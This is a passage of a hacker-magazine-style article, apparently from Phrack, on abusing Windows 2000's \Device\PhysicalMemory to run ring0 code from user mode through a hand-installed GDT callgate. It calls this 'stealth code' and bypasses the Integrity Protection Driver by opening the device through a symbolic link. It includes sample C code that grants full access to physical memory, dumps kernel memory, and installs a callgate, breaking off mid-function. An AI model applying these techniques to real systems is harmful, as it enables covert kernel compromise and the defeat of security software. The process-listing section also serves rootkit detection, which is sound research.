For functions declared with the naked attribute, the compiler generates code without prolog and epilog code. You can use this feature to write your own prolog/epilog code using inline assembler code.

‑‑‑

For more information about callgates look at Intel Software Developer's Manual Volume 1 (see [5]).

In order to install a Callgate we have 2 choices: or we manually seek a free entry in the GDT where we can place our Callgate or we use some undocumented functions of ntoskrnl.exe. But these functions are only accessible from ring0. It's useless in our case since we are not in ring0 but anyway i will very briefly show you them:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray,

USHORT nSelectors);

NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray,

USHORT nSelectors);

NTSTATUS KeI386SetGdtSelector(USHORT Selector,

PVOID Descriptor);

Their names are explicits enough i think :). So if you want to install a callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(), then set it with KeI386SetGdtSelector. When you are done just release it with KeI386ReleaseGdtSelectors.

That's interesting but it doesn't fit our need. So we need to set a GDT selector while executing code in ring3. Here comes \Device\PhysicalMemory. In the next section i will explain how to use \Device\PhysicalMemory to install a callgate.

‑‑‑‑[ 4.3 Running ring0 code without the use of Driver

First question, "why running ring0 code without the use of Device Driver ?" Advantages:

* no need to register a service to the SCM (Service Control Manager). * stealth code ;)

Inconvenients:

* code would never be as stable as if running from a (well coded) device driver.

* we need to add write access to \Device\PhysicalMemory

So just keep in mind that you are dealing with hell while running ring0 code through \Device\PhysicalMemory =]

Ok now we can write the memory and we know that we can use callgate to run ring0 so what are you waiting ?

First we need to know what part of the section to map to read the GDT table. This is not a problem since we can access the global descriptor table register using "sgdt" assembler instruction.

typedef struct _KGDTENTRY {

WORD LimitLow; // size in bytes of the GDT

WORD BaseLow; // address of GDT (low part)

WORD BaseHigh; // address of GDT (high part)

} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;

_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

We translate the Virtual address from BaseLow/BaseHigh to a physical address and then we map the base address of the GDT table.

We are lucky because even if the GDT table adddress is not in our *wanted* range, it will be right translated (in 99% cases).

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle, ProcessHandle,

BaseAddress, // pointer to mapped memory

0L,

gGdt.LimitLow, // size to map

&PhysicalAddress,

&ViewSize, // pointer to mapped size

ViewShare,

0, // allocation type

PAGE_READWRITE); // protection

Finally we loop in the mapped memory to find a free selector by looking at the "Present" flag of the Callgate descriptor structure.

typedef struct _CALLGATE_DESCRIPTOR {

USHORT offset_0_15; // low part of the function address

USHORT selector;

UCHAR param_count :4;

UCHAR some_bits :4;

UCHAR type :4; // segment or gate type

UCHAR app_system :1; // segment descriptor (0) or system segment (1)

UCHAR dpl :2; // specify which privilege level can call it

UCHAR present :1;

USHORT offset_16_31; // high part of the function address

} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

offset_0_15 and offset_16_31 are just the low/high word of the function address. The selector can be one of this list:

‑‑‑ from ntddk.h

#define KGDT_NULL 0

#define KGDT_R0_CODE 8 // <‑‑ what we need (ring0 code)

#define KGDT_R0_DATA 16

#define KGDT_R3_CODE 24

#define KGDT_R3_DATA 32

#define KGDT_TSS 40

#define KGDT_R0_PCR 48

#define KGDT_R3_TEB 56

#define KGDT_VDM_TILE 64

#define KGDT_LDT 72

#define KGDT_DF_TSS 80

#define KGDT_NMI_TSS 88

‑‑‑

Once the callgate is installed there are 2 steps left to supreme ring0 power: coding our function called with the callgate and call the callgate.

As said in section 4.2, we need to code a function with a ring0 prolog / epilog and we need to clean our stack. Let's take a look at this sample function:

void __declspec(naked) Ring0Func() { // our nude function :]

// ring0 prolog

_asm {

pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack

pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack

cli // disable interrupt

}

// execute your ring0 code here ...

// ring0 epilog

_asm {

popfd // restore registers pushed by pushfd

popad // restore registers pushed by pushad

retf // you may retf <sizeof arguments> if you pass arguments

}

}

Pushing all registers onto the stack is the way we use to save all registers while the ring0 code execution.

1 step left, calling the callgate...

A standart call won't fit as the callgate procedure is located in a different privilege level (ring0) than the current code privilege level (ring3).

We are doing to do a "far call" (inter‑privilege level call).

So in order to call the callgate you must do like this:

short farcall[3];

farcall[0 ‑‑> 1] = offset from the target operand. This is ignored when a callgate is used according to "IA‑32 Intel Architecture Software Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

At this time we can call our callgate using inline assembly.

_asm {

push arg1

...

push argN

call fword ptr [farcall]

}

I forgot to mention that as it's a farcall first argument is located at [ebp+0Ch] in the callgate function.

‑‑‑‑[ 4.4 Deeper into Process listing

Now we will see how to list process in the kernel the lowest level we can do :).

The design goal of creating a Kernel process lister at the lowest level could be to see process hidden by a rootkit (taskmgr.exe patched, Syscall hooked, ...).

You remember that Jamirocai song: "Going deeper underground". We will do the same. Let's see which way we can use to list process.

‑ Process32First/Process32Next, the easy documented way (ground level)

‑ NtQuerySystemInformation using Class 5, Native API way. Basicly not documented but there are many sample on internet (level ‑1)

‑ ExpGetProcessInformation, called internally by NtQuerySystemInformation (level ‑2)

‑ Reading the double chained list PsActiveProcessHead (level ‑3) :p

Ok now we are deep enough.

The double chained list scheme looks like:

APL (f): ActiveProcessLinks.FLink

APL (b): ActiveProcessLinks.BLink

process1 process2 process3 processN

0x000 |‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑‑‑| |‑‑

| EPROCESS | | EPROCESS | | EPROCESS |

| ... | | ... |

0x0A0 | APL (f) |‑‑‑‑‑>| APL (f) |‑‑‑‑‑>| APL (f) |‑‑‑‑‑> ... 0x0A4 | APL (b) | \‑<‑‑| APL (b) | \‑<‑‑| APL (b) | \‑<‑‑ ...

| ... | | ... |

|‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑‑‑|

As you can see (well ... my scheme is not that good :/) the next/prev pointers of the ActiveProcessLinks struct are not _EPROCESS structure pointers. They are pointing to the next LIST_ENTRY struct. That means that if we want to retrieve the _EPROCESS structure address, we have to adjust the pointer.

(look at _EPROCESS struct definition in kmem.h in sample code section) LIST_ENTRY ActiveProcessLinks is at offset 0x0A0 in _EPROCESS struct: ‑‑> Flink = 0x0A0

‑‑> Blink = 0x0A4

So we can quickly create some macros for later use:

#define TO_EPROCESS(_a) ((char *) _a ‑ 0xA0) // Flink to _EPROCESS

#define TO_PID(_a) ((char *) _a ‑ 0x4) // Flink to UniqueProcessId

#define TO_PNAME(_a) ((char *) _a + 0x15C) // Flink to ImageFileName

The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its address with kd for example:

kd> ? PsActiveProcessHead

? PsActiveProcessHead

Evaluate expression: ‑2142854784 = 8046a180

Just one thing to know. As this List can change very quickly, you may want to lock it before reading it. Reading ExpGetProcessInformation assembly, we can see:

mov ecx, offset _PspActiveProcessMutex

call ds:__imp_@ExAcquireFastMutex@4

[...]

mov ecx, offset _PspActiveProcessMutex

call ds:__imp_@ExReleaseFastMutex@4

ExAcquireFastMutex and ExReleaseFastMutex are __fastcall defined so the arguments are pushed in reverse order (ecx, edx,...). They are exported by HAL.dll. By the way i don't lock it in winkps.c :)

Ok, first we install a callgate to be able to execute the ring0 function (MmGetPhysicalAddress and ExAcquireFastMutex/ExReleaseFastMutex if you want), then we list the process and finally we remove the callgate.

See winkps.c in sample code section.

Installing the callgate is an easy step as you can see in the sample code. The hard part is reading the LIST_ENTRY struct. It's kinda strange because reading a chained list is not supposed to be hard but we are dealing with physical memory.

First in order to avoid too much use of our callgate we try to use it as less as we can. Remember, running ring0 code in ring3 is not

*a good thing*.

Problems could happend on the dispatch level where the thread is executed and second your thread (i think) have a lower priority than a device driver even if you use SetThreadPriority().

The scheduler base his scheduling on 2 things, the BasePriority of a process and his Current priority, when you modify thread priority using win32 API SetThreadPriority(), the current priority is changed but it's relative to the base priority. And there is no way to change base priority of a process in ring3.

So in order to prevent mapping the section for every process i map 1mb section each time i need to map one. I think it's the best choice since most of the EPROCESS structures are located around 0xfce***** ‑ 0xfcf*****.

C:\coding\phrack\winkps\Release>winkps

*** win2k process lister ***

Allocation granularity: 65536 bytes

MmGetPhysicalAddress : 0x804374e0

virtual address of GDT : 0x80036000

physical address of GDT: 0x0000000000036000

Allocated segment : 3fb

mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)

mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)

+ 8 System

mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)

+ 136 smss.exe

+ 160 csrss.exe

+ 156 winlogon.exe

+ 208 services.exe

+ 220 lsass.exe

+ 420 regsvc.exe

+ 436 svchost.exe

+ 480 svchost.exe

+ 524 WinMgmt.exe

mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)

+ 656 Explorer.exe

+ 764 OSA.EXE

+ 660 mdm.exe

+ 752 cmd.exe

+ 532 msdev.exe

+ 604 ssh.exe

+ 704 Livekd.exe

+ 716 i386kd.exe

+ 448 uedit32.exe

+ 260 winkps.exe

3 sections mapping + 1 for selecting the first entry (process) looks good. I will just briefly describe the winkps.c but better take time to read the code.

Flow of winkps.c

‑ GetSystemInfo()

grab Allocation granularity on the system. (used for calculating offset on address translation).

‑ LoadLibrary()

get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also be done by parsing the PE header.

‑ NtOpenSection()

open \Device\PhysicalMemory r/w.

‑ InstallCallgate()

Map the section for install/remove callgate and install the callgate using second argument as callgate function.

‑ DisplayProcesses()

main loop. Errors are catched by the execption handler.

I do this in order to try cleaning the callgate even if there is an error like access violation (could happend if bad mapping).

‑ UninstallCallgate()

Remove the callgate and unmap the mapping of the section.

‑ NtClose()

Simply close the opened HANDLE :)

Now it's time you to read the code and try to recode winkdump.c with a better address translation support using a callgate :>

‑‑‑‑[ 4.5 Bonus Track

As far as i know, the only product that try to restrict access to \Device\PhysicalMemory is "Integrity Protection Driver (IPD)" from Pedestal Software (see [6]).

‑‑‑

from README:

The IPD forbids any process from opening \Device\PhysicalMemory. ‑‑‑

ok so .. let's say we want to use ipd and we still want to play with \Device\PhysicalMemory heh :). I don't really know if this product is wellknown but anyway i wanted to bypass its protection.

In order to restrict access to \Device\PhysicalMemory IPD hooks ZwOpenSection() and check that the Section being opened is not called "\Device\PhysicalMemory".

‑‑‑

from h_mem.c

if (restrictEnabled()) {

if (ObjectAttributes && ObjectAttributes‑>ObjectName && ObjectAttributes‑>ObjectName‑>Length>0) {

if (_wcsicmp(ObjectAttributes‑>ObjectName‑>Buffer, L"\\Device\\PhysicaMemory")==0) { WCHAR buf[200];

swprintf(buf,

L"Blocking device/PhysicalMemory access, procid=0x%x\n", PsGetCurrentProcessId()); debugOutput(buf);

return STATUS_ACCESS_DENIED;

}

}

}

‑‑‑

_wcsicmp() perform a lowercase comparison of 2 Unicode buffer so if we find a way to open the object using another name we are done :).

In first chapter we have seen that there were a symbolic link object type so what's about creating a symbolic link object linked to \Device\PhysicalMemory ?

By looking at ntdll.dll export table, you can find a function called "NtCreateSymbolicLinkObject" but like most of interesting things it's not documented. The prototype is like this:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObAttributes,

PUNICODE_STRING ObName);

So we just have to call this function with "\Device\PhysicalMemory" as the ObName and we set our new name in the OBJECT_ATTRIBUTES structures. We use "\??\" as root directory for our object so the name is now "\??\hack_da_ipd".

At the beginning i was asking myself how the kernel would resolve the symbolic link when calling NtOpenSection with "\??\hack_da_ipd". If NtOpenSection was checking that the destination object is a symbolic link and then recall NtOpenSection with the real name of the object, our symbolic link would be useless because IPD could detect it.

So i straced it:

‑‑‑

[...]

3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0

4 NtAllocateVirtualMemory(‑1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0 5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ... {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0

6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, ) == 0x0

7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124, 148, 2, 868, 840, 7003, 0}, ) == 0x0

8 NtClose (44, ... ) == 0x0

9 NtClose (48, ... ) == 0x0

[...]

‑‑‑

(a strace for Windows is avaible at BindView's RAZOR web site. see [7])

As you can see NtOpenSection doesn't recall itself with the real name of the object so all is good.

At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as we can read/write whereever we want in the memory.

Remember that you must run this program with user SYSTEM.

‑‑[ 5 ‑ Sample code

LICENSE:

Sample code provided with the article may be copied/duplicated and modified in any form as long as this copyright is prepended unmodified. Code are proof of concept and the author can and must not be made responsible for any damage/data loss.

Use this code at your own risk.

crazylord / CNS

‑‑‑‑[ 5.1 kmem.h

typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L

#define OBJ_KERNEL_HANDLE 0x00000200L

typedef LONG NTSTATUS;

#define STATUS_SUCCESS (NTSTATUS) 0x00000000L

#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros

#define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)‑>Length = sizeof( OBJECT_ATTRIBUTES ); \

(p)‑>RootDirectory = r; \

(p)‑>Attributes = a; \

(p)‑>ObjectName = n; \

(p)‑>SecurityDescriptor = s; \ (p)‑>SecurityQualityOfService = NULL; \

}

#define INIT_UNICODE(_var,_buffer) \ UNICODE_STRING _var = { \

sizeof (_buffer) ‑ sizeof (WORD), \

sizeof (_buffer), \ _buffer }

// callgate info

typedef struct _KGDTENTRY {

WORD LimitLow;

WORD BaseLow;

WORD BaseHigh;

} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {

USHORT offset_0_15;

USHORT selector;

UCHAR param_count :4;

UCHAR some_bits :4;

UCHAR type :4;

UCHAR app_system :1;

UCHAR dpl :2;

UCHAR present :1;

USHORT offset_16_31;

} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; typedef enum _SECTION_INHERIT {

ViewShare = 1,

ViewUnmap = 2

} SECTION_INHERIT;

typedef struct _MAPPING {

/*000*/ PHYSICAL_ADDRESS pAddress;

/*008*/ PVOID vAddress;

/*00C*/ DWORD Offset;

/*010*/ } MAPPING, *PMAPPING;

// symlink info

#define SYMBOLIC_LINK_QUERY (0x0001)

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info

// Flink to _EPROCESS

#define TO_EPROCESS(_a) ((DWORD) _a ‑ 0xA0)

// Flink to UniqueProcessId

#define TO_PID(_a) (DWORD) ((DWORD) _a ‑ 0x4)

// Flink to ImageFileName

#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {

/*000*/ UCHAR Type;

/*001*/ UCHAR Absolute;

/*002*/ UCHAR Size;

/*003*/ UCHAR Inserted;

/*004*/ LONG SignalState;

/*008*/ LIST_ENTRY WaitListHead;

/*010*/ } DISPATCHER_HEADER;

typedef struct _KEVENT {

/*000*/ DISPATCHER_HEADER Header;

/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {

/*000*/ LONG Count;

/*004*/ PVOID Owner;

/*008*/ ULONG Contention;

/*00C*/ KEVENT Event;

/*01C*/ ULONG OldIrql;

/*020*/ } FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber

typedef struct _MMSUPPORT {

/*000*/ LARGE_INTEGER LastTrimTime;

/*008*/ DWORD LastTrimFaultCount;

/*00C*/ DWORD PageFaultCount;

/*010*/ DWORD PeakWorkingSetSize;

/*014*/ DWORD WorkingSetSize;

/*018*/ DWORD MinimumWorkingSetSize;

/*01C*/ DWORD MaximumWorkingSetSize;

/*020*/ PVOID VmWorkingSetList;

/*024*/ LIST_ENTRY WorkingSetExpansionLinks;

/*02C*/ BOOLEAN AllowWorkingSetAdjustment;

/*02D*/ BOOLEAN AddressSpaceBeingDeleted;

/*02E*/ BYTE ForegroundSwitchCount;

/*02F*/ BYTE MemoryPriority;

/*030*/ } MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {

/*000*/ ULONGLONG ReadOperationCount;

/*008*/ ULONGLONG WriteOperationCount;

/*010*/ ULONGLONG OtherOperationCount;

/*018*/ ULONGLONG ReadTransferCount;

/*020*/ ULONGLONG WriteTransferCount;

/*028*/ ULONGLONG OtherTransferCount;

/*030*/ } IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version :) of the EPROCESS

// structure.

typedef struct _EPROCESS {

/*000*/ BYTE Pcb[0x6C];

/*06C*/ NTSTATUS ExitStatus;

/*070*/ KEVENT LockEvent;

/*080*/ DWORD LockCount;

/*084*/ DWORD dw084;

/*088*/ LARGE_INTEGER CreateTime;

/*090*/ LARGE_INTEGER ExitTime;

/*098*/ PVOID LockOwner;

/*09C*/ DWORD UniqueProcessId;

/*0A0*/ LIST_ENTRY ActiveProcessLinks; // see PsActiveListHead

/*0A8*/ DWORD QuotaPeakPoolUsage[2]; // NP, P

/*0B0*/ DWORD QuotaPoolUsage[2]; // NP, P

/*0B8*/ DWORD PagefileUsage;

/*0BC*/ DWORD CommitCharge;

/*0C0*/ DWORD PeakPagefileUsage;

/*0C4*/ DWORD PeakVirtualSize;

/*0C8*/ LARGE_INTEGER VirtualSize;

/*0D0*/ MMSUPPORT Vm;

/*100*/ LIST_ENTRY SessionProcessLinks;

/*108*/ DWORD dw108[6];

/*120*/ PVOID DebugPort;

/*124*/ PVOID ExceptionPort;

/*128*/ PVOID ObjectTable;

/*12C*/ PVOID Token;

/*130*/ FAST_MUTEX WorkingSetLock;

/*150*/ DWORD WorkingSetPage;

/*154*/ BOOLEAN ProcessOutswapEnabled;

/*155*/ BOOLEAN ProcessOutswapped;

/*156*/ BOOLEAN AddressSpaceInitialized;

/*157*/ BOOLEAN AddressSpaceDeleted;

/*158*/ FAST_MUTEX AddressCreationLock;

/*178*/ KSPIN_LOCK HyperSpaceLock;

/*17C*/ DWORD ForkInProgress;

/*180*/ WORD VmOperation;

/*182*/ BOOLEAN ForkWasSuccessful;

/*183*/ BYTE MmAgressiveWsTrimMask;

/*184*/ DWORD VmOperationEvent;

/*188*/ PVOID PaeTop;

/*18C*/ DWORD LastFaultCount;

/*190*/ DWORD ModifiedPageCount;

/*194*/ PVOID VadRoot;

/*198*/ PVOID VadHint;

/*19C*/ PVOID CloneRoot;

/*1A0*/ DWORD NumberOfPrivatePages;

/*1A4*/ DWORD NumberOfLockedPages;

/*1A8*/ WORD NextPageColor;

/*1AA*/ BOOLEAN ExitProcessCalled;

/*1AB*/ BOOLEAN CreateProcessReported;

/*1AC*/ HANDLE SectionHandle;

/*1B0*/ PVOID Peb;

/*1B4*/ PVOID SectionBaseAddress;

/*1B8*/ PVOID QuotaBlock;

/*1BC*/ NTSTATUS LastThreadExitStatus;

/*1C0*/ DWORD WorkingSetWatch;

/*1C4*/ HANDLE Win32WindowStation;

/*1C8*/ DWORD InheritedFromUniqueProcessId;

/*1CC*/ ACCESS_MASK GrantedAccess;

/*1D0*/ DWORD DefaultHardErrorProcessing; // HEM_*

/*1D4*/ DWORD LdtInformation;

/*1D8*/ PVOID VadFreeHint;

/*1DC*/ DWORD VdmObjects;

/*1E0*/ PVOID DeviceMap;

/*1E4*/ DWORD SessionId;

/*1E8*/ LIST_ENTRY PhysicalVadList;

/*1F0*/ PVOID PageDirectoryPte;

/*1F4*/ DWORD dw1F4;

/*1F8*/ DWORD PaePageDirectoryPage;

/*1FC*/ CHAR ImageFileName[16];

/*20C*/ DWORD VmTrimFaultValue;

/*210*/ BYTE SetTimerResolution;

/*211*/ BYTE PriorityClass;

/*212*/ WORD SubSystemVersion;

/*214*/ PVOID Win32Process;

/*218*/ PVOID Job;

/*21C*/ DWORD JobStatus;

/*220*/ LIST_ENTRY JobLinks;

/*228*/ PVOID LockedPagesList;

/*22C*/ PVOID SecurityPort;

/*230*/ PVOID Wow64;

/*234*/ DWORD dw234;

/*238*/ IO_COUNTERS IoCounters;

/*268*/ DWORD CommitChargeLimit;

/*26C*/ DWORD CommitChargePeak;

/*270*/ LIST_ENTRY ThreadListHead;

/*278*/ PVOID VadPhysicalPagesBitMap;

/*27C*/ DWORD VadPhysicalPages;

/*280*/ DWORD AweLock;

/*284*/ } EPROCESS, *PEPROCESS;

// copy ntdll.lib from Microsoft DDK to current directory

#pragma comment(lib, "ntdll")

#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall

IMP_SYSCALL

NtMapViewOfSection(HANDLE SectionHandle,

HANDLE ProcessHandle,

PVOID *BaseAddress,

ULONG ZeroBits,

ULONG CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType,

ULONG Protect);

IMP_SYSCALL

NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);

IMP_SYSCALL

NtOpenSection(PHANDLE SectionHandle,

ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL

NtClose(HANDLE Handle);

IMP_SYSCALL

NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);

‑‑‑‑[ 5.2 chmod_mem.c

#include <stdio.h>

#include <windows.h>

#include <aclapi.h>

#include "..\kmem.h"

void usage(char *n) {

printf("usage: %s (/current | /user) [who]\n", n); printf("/current: add all access to current user\n"); printf("/user : add all access to user 'who'\n");

exit(0);

}

int main(int argc, char **argv) {

HANDLE Section;

DWORD Res;

NTSTATUS ntS;

PACL OldDacl=NULL, NewDacl=NULL; PSECURITY_DESCRIPTOR SecDesc=NULL;

EXPLICIT_ACCESS Access;

OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");

BOOL mode;

if (argc < 2)

usage(argv[0]);

if (!strcmp(argv[1], "/current")) {

mode = 1;

} else if (!strcmp(argv[1], "/user") && argc == 3) {

mode = 2;

} else

usage(argv[0]);

memset(&Access, 0, sizeof(EXPLICIT_ACCESS)); InitializeObjectAttributes(&ObAttributes,

&ObName,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

// open handle de \Device\PhysicalMemory

ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes); if (ntS != STATUS_SUCCESS) {

printf("error: NtOpenSection (code: %x)\n", ntS);

goto cleanup;

}

// retrieve a copy of the security descriptor

Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl, NULL, &SecDesc);

if (Res != ERROR_SUCCESS) {

printf("error: GetSecurityInfo (code: %lu)\n", Res); goto cleanup;

}

Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P

Access.grfAccessMode = GRANT_ACCESS; Access.grfInheritance = NO_INHERITANCE; Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; // change these informations to grant access to a group or other user

Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME; Access.Trustee.TrusteeType = TRUSTEE_IS_USER;

if (mode == 1)

Access.Trustee.ptstrName = "CURRENT_USER";

else

Access.Trustee.ptstrName = argv[2];

// create the new ACL

Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);

if (Res != ERROR_SUCCESS) {

printf("error: SetEntriesInAcl (code: %lu)\n", Res); goto cleanup;

}

// update ACL

Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl, NULL);

if (Res != ERROR_SUCCESS) {

printf("error: SetEntriesInAcl (code: %lu)\n", Res); goto cleanup;

}

printf("\\Device\\PhysicalMemory chmoded\n");

cleanup:

if (Section)

NtClose(Section);

if (SecDesc)

LocalFree(SecDesc);

return(0);

}

‑‑‑‑[ 5.3 winkdump.c

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include "..\kmem.h"

ULONG Granularity;

// thanx to kraken for the hexdump function

void hexdump(unsigned char *data, unsigned int amount) { unsigned int dp, p;

const char trans[] =

"................................ 0123456789"

":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"

"nopqrstuvwxyz{|}~....................................

".................................

".................................

for (dp = 1; dp <= amount; dp++) {

printf ("%02x ", data[dp‑1]);

if ((dp % 8) == 0)

printf (" ");

if ((dp % 16) == 0) {

printf ("| ");

p = dp;

for (dp ‑= 16; dp < p; dp++)

printf ("%c", trans[data[dp]]);

printf ("\n");

}

}

if ((amount % 16) != 0) {

p = dp = 16 ‑ (amount % 16);

for (dp = p; dp > 0; dp‑‑) {

printf (" ");

if (((dp % 8) == 0) && (p != 8))

printf (" ");

}

printf (" | ");

for (dp = (amount ‑ (16 ‑ p)); dp < amount; dp++) printf ("%c", trans[data[dp]]);

}

printf ("\n");

return ;

}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) { PHYSICAL_ADDRESS add;

if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;

else

add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000; return(add);

}

int InitSection(PHANDLE Section) {

NTSTATUS ntS;

OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

InitializeObjectAttributes(&ObAttributes,

&ObString,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

// open \Device\PhysicalMemory

ntS = NtOpenSection(Section, SECTION_MAP_READ,

&ObAttributes);

if (ntS != STATUS_SUCCESS) {

printf(" * error NtOpenSection (code: %x)\n", ntS); return(0);

}

return(1);

}

int main(int argc, char **argv) {

NTSTATUS ntS;

ULONG Address, Size, MappedSize, Offset;

HANDLE Section;

PVOID MappedAddress=NULL;

SYSTEM_INFO SysInfo;

PHYSICAL_ADDRESS pAddress;

printf(" *** win2k memory dumper ***\n\n");

if (argc != 3) {

printf("usage: %s <address> <size>\n", argv[0]); return(0);

}

Address = strtoul(argv[1], NULL, 0);

MappedSize = Size = strtoul(argv[2], NULL, 10);

printf(" Virtual Address : 0x%.8x\n", Address);

if (!Size) {

printf("error: invalid size\n");

return(0);

}

// get allocation granularity information

GetSystemInfo(&SysInfo);

Granularity = SysInfo.dwAllocationGranularity;

printf(" Allocation granularity: %lu bytes\n", Granularity); if (!InitSection(&Section))

return(0);

Offset = Address % Granularity;

MappedSize += Offset; // reajust mapping view

printf(" Offset : 0x%x\n", Offset);

pAddress = GetPhysicalAddress(Address ‑ Offset);

printf(" Physical Address : 0x%.16x\n", pAddress);

ntS = NtMapViewOfSection(Section, (HANDLE) ‑1, &MappedAddress, 0L, MappedSize, &pAddress, &MappedSize, ViewShare, 0, PAGE_READONLY);

printf(" Mapped size : %lu bytes\n", MappedSize); printf(" View size : %lu bytes\n\n", Size);

if (ntS == STATUS_SUCCESS) {

hexdump((char *)MappedAddress+Offset, Size); NtUnmapViewOfSection((HANDLE) ‑1, MappedAddress);

} else {

if (ntS == 0xC00000F4L)

printf("error: invalid physical address translation\n"); else

printf("error: NtMapViewOfSection (code: %x)\n", ntS); }

NtClose(Section);

return(0);

}

‑‑‑‑[ 5.2 winkps.c

// code very messy but working :)

#include <stdio.h>

#include <windows.h>

#include "..\kmem.h"

// get this address from win2k symbols

#define PSADD 0x8046A180 // PsActiveProcessHead

// default base address for ntoskrnl.exe on win2k

#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress

// max process, to prevent easy crashing

#define MAX_PROCESS 50

typedef struct _MY_CG {

PHYSICAL_ADDRESS pAddress;

PVOID MappedAddress;

PCALLGATE_DESCRIPTOR Desc;

WORD Segment;

WORD LastEntry;

} MY_CG, *PMY_CG;

ULONG Granularity;

PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY) PSADD;

MY_CG GdtMap;

MAPPING CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {

_asm {

pushad

pushf

cli

mov esi, CurMap.vAddress

push esi

call MmGetPhysicalAddress

mov CurMap.pAddress, eax // save low part of LARGE_INTEGER

mov [CurMap+4], edx // save high part of LARGE_INTEGER

popf

popad

retf

}

}

// function which call the callgate

PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {

WORD farcall[3];

HANDLE Thread = GetCurrentThread();

farcall[2] = GdtMap.Segment;

if(!VirtualLock((PVOID) Ring0Func, 0x30)) { printf("error: unable to lock function\n"); CurMap.pAddress.QuadPart = 1;

} else {

CurMap.vAddress = vAddress; // ugly way to pass argument

